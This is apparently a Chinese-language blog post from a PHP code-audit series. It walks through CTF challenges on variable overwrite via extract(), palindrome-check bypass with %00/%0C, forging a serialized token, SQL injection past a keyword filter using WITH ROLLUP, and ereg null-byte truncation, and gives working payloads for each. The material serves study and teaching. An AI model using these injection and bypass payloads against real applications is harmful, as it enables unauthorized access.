PHP代码审计系列(一)
本系列将收集多个PHP代码安全审计项目从易到难,并加入个人详细的源码解读。此系列将进行持续更新。
extract变量覆盖
源码如下
<?php
$flag='extractFlag.txt';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
echo $content;
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
在代码中主要使用了extract函数与file_get_contents函数
在RUNOOB给出的extract函数实例是:
将键值 “Cat”、“Dog” 和 “Horse” 赋值给变量 $a、$b 和 $c:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
运行结果
$a = Cat; $b = Dog; $c = Horse
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
在RUNOOB给出的file_get_contents函数实例是:
<?php
echo file_get_contents("test.txt");
?>
运行结果
This is a test file with test text.
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
利用:
利用extract的语法特性使shiyan变量等于flag就可以了
http://localhost/phpbugs/01extract.php?shiyan=&flag
http://localhost/phpbugs/01extract.php?shiyan=&flag=1
绕过过滤的空白字符
源码如下
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"])); //字符串反转
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
通读代码逻辑如下:
首先会判断提交的$_GET数组是否存在number字段,若不存在直接终止当前脚本
然后会遍历$_GET与$_POST数组,若value是字符串将对value进行处理后保存到$req数组
之后会判断提交的number是数字或数字字符串都会终止
判断number若不是整数则终止
接下来会取出number对应的字符串,如果字符串反转后不相等则终止
然后调用is_palindrome_number函数,从字符串的首尾进行遍历判断是否都相等
若不等则输出真正的flag
经过分析需要做其实一共就三件事:
1.绕过number数字判断并输入整数
2.成功通过字符串反转相等的校验
3.避开is_palindrome_number函数的相等校验
针对1我们可以利用%00截断符进行绕过
针对2、3我们可以使用\f换页符(%0C)或者+(%2B)进行绕过
因为intval和is_numeric都会忽略这两个个字符,因为字符串首末遍历不相等又成功绕过is_palindrome_number
同时也可以写脚本fuzz出%0C或%2B进行绕过
import requests
for i in range(256):
rq = requests.get("http://127.0.0.1/phpbugs/02.php?number=%s121"%("%00"+"%%%02X"%i))
if 'x' in rq.text:
print ("%%%02X" % i)
最后结果
多重加密
ps:这题官方给的答案是错的,网上给的也是错的,麻烦别直接拿给的答案来抄好吗?大家不要被误导了
源码如下:
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
通读代码逻辑如下:
首先是将$_GET,$_POST,$_SESSION,$_COOKIE合并为一个数组$request
然后有一个db类,它会判断类中的变量where是否为空,若不为空则调用select方法根据where条件进行查询user表返回一个数组
然后判断$request数组中是否有存在token,若不存在直接返回index.php报错,若存在则先对该值进行base64加密(base64_decode),再进行字符串压缩(gzuncompress),再进行反序列化(unserialize)最后赋值给$login
之后取出$_login中的user作为where条件user=$login[user]通过db的select进行查询结果赋值给$row
如果$login[user]与ichunqiu字符串完全相等则输出flag(成功结果),若$row[pass]不等于$login[pass]则输出反序列化失败,其他情况则输出一段字符串
需要我们做的其实就是:
反解密ichunqiu,然后提交token就可以了
网上的错误
答案:
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
?>
麻烦自己打印下看看真的相等吗
print($arr['user'] === 'ichunqiu');
正确答案:
<?php
$login = array('user' => "ichunqiu");
$token = base64_encode(gzcompress(serialize($login)));
print($token);
echo '</br>';
print($login['user'] === 'ichunqiu');
结果验证:
因为这题代码和数据库没给完整,为了验证结果简化代码如下
<?php
$requset = array_merge($_GET);
$flag = "xxxxxx";
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
错误答案获得的token
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
正确答案获得的token
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
SQL注入_WITH ROLLUP绕过
源码如下
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
//执行一条 MySQL 查询
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
通读代码逻辑如下:
首先是写了一个表单POST提交uname与pwd
接下来遍历$_POST数组调用AttackFilter方法,传入key:value参数与filter
AttackFilter会首先判断传入的value是不是数组,若为数组则将多个元素合成一个字符串重新赋值给传入的value
然后对value进行正则匹配匹配规则为filter,如果匹配成功脚本停止
在之后会连接数据库,根据提交的uname进行查询
如果返回结果集中行的数目等于1,则返回从结果集取得的行生成的数组key
如果数组key中的pwd字段等于表单提交的pwd字段则获得flag其他情况均失败
我们需要做的其实就是:
1.绕过filter
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"
2.使表单提交的pwd等于查询到返回的pwd
SQL语句:
SELECT * FROM interest WHERE uname = '{$_POST['uname']}'
进行绕过
SELECT * FROM interest WHERE uname = 'admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'
也就是说使用以下语句登录用户时,密码为空就可以成功绕过
admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'
此题需要了解的SQL主要是以下这段SQL
WITH ROLLUP LIMIT 1 OFFSET 1
首先是WITH ROLLUP,用在group up后会统计所有结果并返回NULL
再看LIMIT 1 OFFSET 1,是取一条数据从第一条数据后开始取,也就是取第二条数据
等同于LIMIT 1,1,但因为过滤了,所以用OFFSET来进行绕过
ereg正则%00截断
源码如下
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
通读代码逻辑如下:
首先判断是否存在GET请求的password字段,如果存在继续进行
然后对password进行正则匹配如果password是大小写字母或数字则进行否则输出停止
然后对password的长度进行判断,如果长度小于8数值大于9999999则继续进行
之后利用strops函数查找* - *在字符串中首次出现的位置,如果找到了则输出flag
我们需要做的:
1.password使用大小写字母及数字
2.password长度小于8 数值大于9999999
3.password中存在* - *
这里面的条件都是互相矛盾的,在满足1的条件下条件2用科学计数法1e7也就是10的7次方进行绕过。条件2利用ereg的00%截断符进行绕过,经过分析payload如下
?password=1e7%00*-*